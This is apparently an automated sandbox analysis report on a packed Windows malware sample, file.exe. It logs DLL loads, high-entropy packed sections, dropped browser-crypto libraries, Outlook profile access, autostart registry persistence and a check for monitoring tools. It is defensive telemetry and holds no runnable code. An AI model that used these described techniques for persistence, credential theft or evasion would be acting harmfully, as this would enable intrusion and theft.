Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Section loaded: ondemandconnroutehelper.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1786368 > 1048576

Source: file.exe

Static PE information: Raw size of kisxtbux is bigger than: 0x100000 < 0x19a400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2526030798.000000006C88F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2526030798.000000006C88F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: e7dea42e57.exe, 00000017.00000003.3041458745.00000000085E0000.00000004.00001000.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000002.3114510167.00000000065F2000.00000040.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000002.3254603579.0000000005A32000.00000040.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.3154915667.0000000007BA0000.00000004.00001000.00020000.00000000.sdmp, b39ed05e31.exe, 0000001D.00000002.3086692205.0000000000C12000.00000040.00000001.01000000.00000011.sdmp, b39ed05e31.exe, 0000001D.00000003.2953327851.0000000005240000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.210000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kisxtbux:EW;judtkvec:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kisxtbux:EW;judtkvec:EW;.taggant:EW;
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Unpacked PE file: 20.2.DocumentsKFBGDBFBKK.exe.1e0000.0.unpack :EW;.rsrc:W;.idata :W;ygppzwcz:EW;slwnaylp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ygppzwcz:EW;slwnaylp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 21.2.skotes.exe.f0000.0.unpack :EW;.rsrc:W;.idata :W;ygppzwcz:EW;slwnaylp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ygppzwcz:EW;slwnaylp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Unpacked PE file: 23.2.e7dea42e57.exe.9d0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;isirfrxm:EW;xrbpauyd:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;isirfrxm:EW;xrbpauyd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Unpacked PE file: 24.2.6cb554c070.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kisxtbux:EW;judtkvec:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kisxtbux:EW;judtkvec:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Unpacked PE file: 28.2.e7dea42e57.exe.9d0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;isirfrxm:EW;xrbpauyd:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;isirfrxm:EW;xrbpauyd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Unpacked PE file: 29.2.b39ed05e31.exe.c10000.0.unpack :EW;.rsrc:W;.idata :W;qfsyagsd:EW;lgpdogkk:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Unpacked PE file: 30.2.6cb554c070.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kisxtbux:EW;judtkvec:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kisxtbux:EW;judtkvec:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Unpacked PE file: 34.2.e7dea42e57.exe.9d0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;isirfrxm:EW;xrbpauyd:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;isirfrxm:EW;xrbpauyd:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6BC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C6BC410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsKFBGDBFBKK.exe.0.dr	Static PE information: real checksum: 0x325211 should be: 0x31e446
Source: file.exe	Static PE information: real checksum: 0x1bf408 should be: 0x1b6b47
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1d57dc should be: 0x1c92c6
Source: skotes.exe.20.dr	Static PE information: real checksum: 0x325211 should be: 0x31e446

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: kisxtbux
Source: file.exe	Static PE information: section name: judtkvec
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: DocumentsKFBGDBFBKK.exe.0.dr	Static PE information: section name:
Source: DocumentsKFBGDBFBKK.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsKFBGDBFBKK.exe.0.dr	Static PE information: section name: ygppzwcz
Source: DocumentsKFBGDBFBKK.exe.0.dr	Static PE information: section name: slwnaylp
Source: DocumentsKFBGDBFBKK.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: isirfrxm
Source: random[1].exe.0.dr	Static PE information: section name: xrbpauyd
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: .idata
Source: skotes.exe.20.dr	Static PE information: section name: ygppzwcz
Source: skotes.exe.20.dr	Static PE information: section name: slwnaylp
Source: skotes.exe.20.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B536 push ecx; ret	0_2_6C68B549
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Code function: 20_2_001FD91C push ecx; ret	20_2_001FD92F
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Code function: 20_2_001F1359 push es; ret	20_2_001F135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0010D91C push ecx; ret	21_2_0010D92F

Source: file.exe	Static PE information: section name: kisxtbux entropy: 7.953632215680603
Source: DocumentsKFBGDBFBKK.exe.0.dr	Static PE information: section name: entropy: 6.992584543661846
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.977086431266033
Source: random[1].exe.0.dr	Static PE information: section name: isirfrxm entropy: 7.953466213254965
Source: skotes.exe.20.dr	Static PE information: section name: entropy: 6.992584543661846

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsKFBGDBFBKK.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsKFBGDBFBKK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsKFBGDBFBKK.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e7dea42e57.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b39ed05e31.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6cb554c070.exe

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsKFBGDBFBKK.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
